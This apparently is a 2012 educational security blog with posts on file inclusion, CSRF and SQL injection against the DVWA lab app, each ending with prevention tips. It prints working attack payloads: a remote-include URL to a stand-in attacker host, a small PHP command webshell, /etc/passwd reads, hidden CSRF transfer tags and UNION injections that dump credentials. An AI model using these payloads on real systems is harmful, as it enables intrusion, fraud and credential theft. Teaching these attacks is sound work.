Monday, December 10, 2012

File Inclusion Vulnerabilities

File inclusion vulnerabilities are often found on websites that include files from local or remote locations. File inclusion vulnerabilities are of two types viz. Local File Inclusion and Remote File Inclusion. As the name suggests, an attacker can load any local file present on the server into the displayed page through LFI. Files present elsewhere on the internet can be included on the page through RFI. This is again a Web Application vulnerability and caused due to improper or no validation of the user input. RFI is dominantly found on PHP pages.
Possible threats arising out of File Inclusion vulnerabilities are - code execution on server as well as client side, can lead to other types of attacks such as Cross Site Scripting and Denial of Service, and also manipulation or deletion of critical data.
File Inclusion vulnerabilities are pretty straightforward and easy to understand.

User input is accept into a PHP page through $_GET, $_POST and $_COOKIE. The problem arises when these inputs are passed to functions like 'include' and 'require' without validation. Attackers can alter the variables being passed to these functions to include crafted remote pages having malicious code. This malicious code will then get executed on the victim server and hence, compromising its security. 
Consider this example code taken from wikipedia,

<?php 
$color = 'blue'; 
if (isset( $_GET['COLOR'] ) ) 
       $color = $_GET['COLOR'];
include( $color . '.php' ) ; 
?>
The user accepted parameter 'COLOR' is passed to the include function through $color variable. an attacker can replace the name of color by something like this.
http://hacker.example.com/evilcode.txt?
Therefore the resulting URL will look like this.
http://localhost/rfivuln.php?color=http://hacker.example.com/evilcode.txt?
This will inject a remote file evilcode.txt which can have malicious code or it can be a webshell.
Local files that are already present on the webserver can also be included.
http://localhost/rfivuln.php?color=C:\\www\\uploads\\webshell.txt
Here, is a null character indicating the end of the URL which helps to get rid of appending '.php' extension. webshell.txt is a file attacker uploaded on the web server which can execute commands passed to it as argument. contents of the webshell.txt may be...
<?php    
 $cmd = $_GET['cmd'];      
exec($cmd); 
?>
 LFI can be used to perform directory traversal which can give access to some critical files.
http://localhost/lfivuln.php?color=/../../../something/critical
Or to extract username and passwords from local machine.
http://localhost/lfivuln.php?color=/etc/passwd
For the prevention of file inclusion vulnerabilities, the user input must be sanitized to escape dangerous characters such as '?', '/', ':' or keywords like 'http://'. Additionally, a white list of permitted pages to be included can be maintained. When the user enters the page they wish to include, this input is compared with all the entries present in the list and loaded only if a match is found. 

I hope you found this informative :)

When I was 14...

Hello,
I was browsing through some old folders in my PC and came across something interesting. I found some HTML and JavaScript programs I created when I was 14. Its funny to see how sloppy and clumsy my programming style was back then! Its even better to notice how sophisticated your programming has become over the years. Anyway, I'd like to share those programs and animations I made on this blog...

P.S. I made this stuff when I was 14 and I know it is poorly coded and there are lots of improvements. :D I've kept them as it is just for fun.

Sunday, December 2, 2012

Cross Site Request Forgery

Cross Site Request Forgery (CSRF or XSRF) is also known as session riding in which unauthorised user commands are sent to the server on the victim's behalf, victim himself being unaware of it. The website trusts the user because of the session cookie set up. This trust of the website towards the user is exploited through CSRF. A typical CSRF request inherits user's credentials to perform operations on their behalf, who are logged in to the target website.
Although not as popular and widespread as XSS or SQL Injection, there are quite a number of attacks and vulnerabilities that were reported last year. According to infosecurity magazine, almost one third of top banking websites are vulnerable to this type of attack. Youtube and The new york times were also once vulnerable to CSRF.
Basically, user's browser is tricked into making HTTP requests to a site where victim is logged in, to execute operations on user's behalf, like transferring money, changing the password, creating or deleting an account etc.
Here is an example...
Consider xyz bank which has online banking web app running on their website.
http://www.xyzbank.com/ibanking/
And the users can transfer money from their account to another. An HTTP request for this transfer would look like this:
http://www.xyzbank.com/ibanking/transfer.php?amt=1000&toaccount=121232
Where 1000 is the amount and 121232 is the account number where the money is to be transferred.
An attacker will craft a malicious URL as follows:
http://www.xyzbank.com/ibanking/transfer.php?amt=100000&toaccount=123434
Where 123434 is attacker's own account number in xyz bank. 
Now he can send this link to the victim in many ways like social engineering, guestbooks, online forums, emails, chats etc. However, he has to make sure that victim is logged into the bank when the HTTP request is being executed. Usually, the malicious link is included in the HTML img tag or a href tag in an email or webpage.
<img src="http://www.xyzbank.com/ibanking/transfer.php?amt=100000&toaccount=123434" width=0 height=0 />
<a href="http://www.xyzbank.com/ibanking/transfer.php?amt=100000&toaccount=123434">See the pictures!</a>
Once the image is loaded and transfer request is made, the resulting webpage doesn't show up hence the victim is unaware of the transaction unless communication from the bank in this regard.
Usage of iframe can also be exploited to launch CSRF attack.
<iframe src="http://www.xyzbank.com/ibanking/transfer.php?amt=100000&toaccount=123434" />
For CSRF, the attacker must choose a website which has no mechanism for checking referrer header. Also the attacker should know the correct values of all the form inputs, since failing to provide some of them (like IDs or codes) can result in unsuccessful attempt.
CSRF attacks are blind i.e. attacker is not able to see the page returned to victim. It is possible to forge login requests using CSRF. The attacker may log in the victim to the target website using his own credentials.
http://www.xyzbank.com/login.php?username=attacker&password=attacker123
Then all the activity user makes on the website can be logged into the attacker's account.
CSRF attacks are often executed in conjunction with XSS, where XSS can be used to bypass the CSRF preventive mechanisms. Sometimes, it is possible to store the CSRF attack URL on the target website itself, using guestbooks, comments, online forums etc. This can become more malicious since large number of users can be exploited.
Prevention of CSRF can sometimes become tricky since not all web application developers are aware of the mitigation techniques for this threat. Some people might believe that accepting only POST requests and setting up a secret cookie can stop CSRF attacks. These techniques do not offer prevention as mentioned on OWASP's CSRF article. Requiring a user specific token or the client credentials in any HTTP request that has security or financial implications is useful. Only checking the HTTP referrer is insufficient since it can be easily spoofed. Cookies stored at user's computers should have limited lifetime. Logging off the user after certain time of inactivity is also useful. OWASP CSRFGuard is a library that implements synchronizer tokens to prevent such attacks. There is very little individual end users can do to prevent CSRF attacks. Logging out of sites, avoiding 'remember me' feature, not loading external images in emails or spam can help. RequestPolicy and CsFire extensions are available for firefox to tackle CSRF attacks, however, these plugins may greatly hamper the regular browsing experience. 
On a positive note, many websites that handle financial transaction require the user to manually enter a password (other than their login credentials) to authenticate a financial transaction.

Thanks for reading :)

Friday, November 30, 2012

SQL Injection with DVWA.


Hello all!
It's been a long time since I wrote my last article about password strength. I've had my semester end exams going on and finally they're over! :D Now holidays are a great way to engage in the stuff you like to do... so here I am. Coming up is an article about SQL injection in web applications.

SQL Injection -

SQL Injection is a web application attack. Through SQL Injection, we can insert rogue SQL commands in a web form field (e.g. login pages). It is possible to extract whole databases of MySQL or MSSQL stored on a server. This input validation vulnerability is caused by incorrect filtering of escape characters which may manipulate the SQL query going from a web application to the database. SQL Injection is one of the top application security risks as stated by OWASP.


How it works -


Consider a simple login form. It has two fields - username and password. When a user is authenticated through this login, an SQL query is sent to the database which looks like this:


SELECT username, password FROM usersdb WHERE username=$user;
$user is the username which is entered through login. An example would be--

SELECT username, password FROM usersdb WHERE username='vipul';
User can manipulate the data entered so as to escape out of the username value and whatever written thereafter  will be treated as a part of SQL query being sent. If the attacker entered "abc' OR 1=1--" The resulting SQL query will look like following--

SELECT username, password FROM usersdb WHERE username='abc' OR 1=1--';
Notice that the single quote after 'abc' closed the username field and the following part becomes SQL query. But what's that OR 1=1-- ??
'OR' is a conjunction in SQL syntax and 1=1 is a condition that will always evaluate to true. So, irrespective of whatever you enter in the user field, this condition holds true, and hence, it will essentially return all of the records in the 'userdb' database. The "--" is a comment in SQL. It is used to tell the SQL server to ignore everything that is written afterwards. Here we use comment to avoid getting errors because of that trailing single quote (') which does not match anywhere. Sometimes, '#' is also used to indicate beginning of a comment.

With the knowledge of SQL, one can manipulate the query with union, concat, select statements which have the potential to extract username passwords, insert, modify, delete records, and in the worst case, create a php shell which may lead to total compromise of the system. 


Finding SQL Injection vulnerability -


A standard test to see if a web form is vulnerable to SQL injection is by putting a single quote in the field. If you get back a MySQL error, the website is most likely vulnerable to SQL injection. However, absence of a returning MySQL error doesn't imply that website is protected against SQL injection at all.

Sometimes, the returning error could be present inside the source of the webpage. Also, different developers have developed their web applications differently. The structure and syntax of SQL query may also vary from site to site. The same generic 'true condition' approach may not work with all websites. Attacker may have to try different combinations from SQL Cheat sheets.
Some developers implement Javascript validation at the client side which prevents user from making request that has quotes (') in it. Javascript validation offers no security to the actual execution of SQL statements.
Also, whenever an SQL error occurs, the developer may return a generic page with no information at all. In such a case, blind SQL injection is used which is very difficult but not impossible to execute.
Different Google dorks are available to search specifically for SQL injection vulnerabilities. A google search will reveal them. Also, exploit-db has got a nice collection of all types of google dorks which is a must-see for people wanting to learn hacking.

Trying SQL injection on public websites may land you in trouble... Hence it is always better to try this on your local machine.


Installing and running DVWA on webserver-


First of all, you need to have a web server on which you can host your web application to be exploited. Windows users can download WAMP server from
 Here. There is another very popular distribution called XAMPP server for windows as well as linux. Choice is yours.
I wont go into the details of installing and running the server. There are lots of tutorials you can google for. If you get stuck up anywhere, let me know through comments below.
Also, download the DVWA application from here. DVWA stands for 'Damn Vulnerable Web Application' and is specifically designed for security professionals to test their skills. After downloading, extract the contents to a folder 'dvwa' under your webroot directory.
Generally, for windows users with wamp, it should be:

C:\wamp\www
And for xampp users,

Windows    : C:\xampp\htdocs\
Linux          : /opt/lampp/xampp/
But it may vary depending on your individual installation.
Soo.. after the installation, try accessing
http://localhost/dvwa/
from your web browser. It should present you with a screen like this...


This is the main login screen of DVWA. Log in with:

Username = admin
Password = password
(I know.. but weak password doesn't matter since it is damn vulnerable! :P)
It will show the main page with some warnings and disclaimers.
From the menu, open the 'dvwa security' tab and set the 'script security' setting to 'low'. Also make sure that PHPIDS is turned off.

Now you're ready to execute SQL Injection. Make sure your browser security plugins are turned off because they might interfere in the process.

Performing SQL injection -


For this tutorial, I've installed DVWA on a windows server and will be exploiting it from my ubuntu linux inside vmware. If you get the 'forbidden' error while accessing the directory from other machines or vmware,

open the .htaccess file and make the following changes in it...

Then restart the server and go to the SQL Injection tab.

Our scope will be limited to extracting username and password from the database for this tutorial. However, as I mentioned earlier, you can do a lot more things with SQL commands. 
The following paras are divided into 3 parts.. text input (the text to be entered into the user ID textbox), resulting SQL query (the query that gets sent to the server) followed by result and explanation.

Input         : 1

SQL Query : SELECT firstname, surname FROM users WHERE userid='1';
Result       :
ID: 1

First name: admin
Surname: admin
Nothing surprising here, you enter the user ID, you get their name. Similarly, try entering 2,3 etc.

Input         : a' OR 1=1--
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' OR 1=1--;
Result       :

You have an error in your SQL syntax; ...

So the page says error is near " ' ", probably our '--' comment isn't working, lets replace that with '#'.

Input         : a' OR 1=1 #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' OR 1=1 #;
Result       :

Whoa! That pulled out whole record of firstname and surnames! Ideally, it should return only one (mostly, first) record.. but its not called dvwa for nothing! ;)


Input         : a' ORDER BY 1 #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' ORDER BY 1 #;
Result       : Nothing

We use the 'order by' statement to determine number of columns in the SQL query. Replace "order by 1" with "order by 1,2" and so on until you get an error.

Unknown column '3' in 'order clause'

So there are only two columns in the returning SQL statement. Fair enough.

Input         : a' UNION SELECT 1,2#
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT 1,2 #;
Result       :

ID: a' union select 1,2 #
First name: 1
Surname: 2

Union statement is used to combine two statements. We input 1 and 2.. and that's what we get in the "First name" and "Surname" field.
Now replace 1 and 2 with @@version, user(), @@hostname, database() and this will fetch you interesting information.

Input         : a' UNION SELECT table_name,null FROM information_schema.tables #

SQL Query : SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT table_name,null FROM information_schema.tables #;
Result       :

Whoa! That escalated quickly! According to SQL standards, there is a standard database called 'information_schema' in every SQL installation. This database holds information about all other tables and their respective columns. Here we probe that database to find out that there are too many tables.. So, we'll filter the result with WHERE clause.

Input         : a' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema=database() #
Result        :
This will display the tables that are present in the current database. Well, there are only 2, guestbook and users. Hmm, users look interesting. Let's dig further.

Input         : a' UNION SELECT column_name,null FROM information_schema.columns WHERE table_schema=database()#
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT column_name,null FROM information_schema.columns WHERE table_schema=database()#;
Result       :

comment_id, comment, name, user_id, first_name, last_name, user, password, avatar (in the 'First name' field)

Now we probe information_schema.columns which gives the columns present in the current database. They maybe either from guestbook table or users table. Out of these, 'users' and 'password' seem interesting and likely to be placed in 'users' table. Now we perform the final query to extract username and password.

Input         : a' UNION SELECT user,password FROM users #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT user,password FROM users#;
Result       :

Bingo! There you see username and passwords! This query was relatively simple. Now we've got the username and passwords. Passwords are md5 hashed and it should be easy to crack with any online tool or rainbow tables. It is possible to load a file from remote server with SQL commands like - 

SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT null,load_file('/etc/passwd') #;

Please note that there are some better and sophisticated SQL queries for injection. I have kept this one relatively simple for the sake of understanding.

Prevention against SQL Injection -

Sanitization of user input is must. Creating a whitelist of accepted characters and limiting the length of user input is recommended. PHP offers some inbuilt functions like mysql_real_escape() and stripslashes() which can be used before query is passed. As we saw, performing SQL Injection becomes possible primarily because displaying of SQL errors. So, avoid error messages from popping up into webpage. Automated SQL Injection tools like sqlmap and acunetix are also available which can be used to test the vulnerabilities of your database. 


I hope you enjoyed reading my article. :)